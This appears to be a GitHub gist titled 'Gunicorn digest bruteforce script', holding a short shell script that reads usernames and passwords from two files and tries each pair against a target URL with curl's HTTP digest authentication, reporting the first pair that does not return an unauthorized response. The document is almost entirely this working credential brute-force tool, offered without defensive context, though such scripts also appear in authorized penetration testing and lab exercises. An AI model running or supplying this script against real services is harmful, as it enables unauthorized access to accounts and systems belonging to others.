Skip to content

Instantly share code, notes, and snippets.

@tbhaxor
Created March 24, 2021 22:56
Gunicorn digest bruteforce script
cat $1 | while read USER; do
cat $2 | while read PASSWORD; do
if curl -s $3 -c /tmp/cookie --digest -u $USER:$PASSWORD | grep -qi "unauth"
then
continue
else
echo [+] Found $USER:$PASSWORD
exit 0
fi
done
done
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment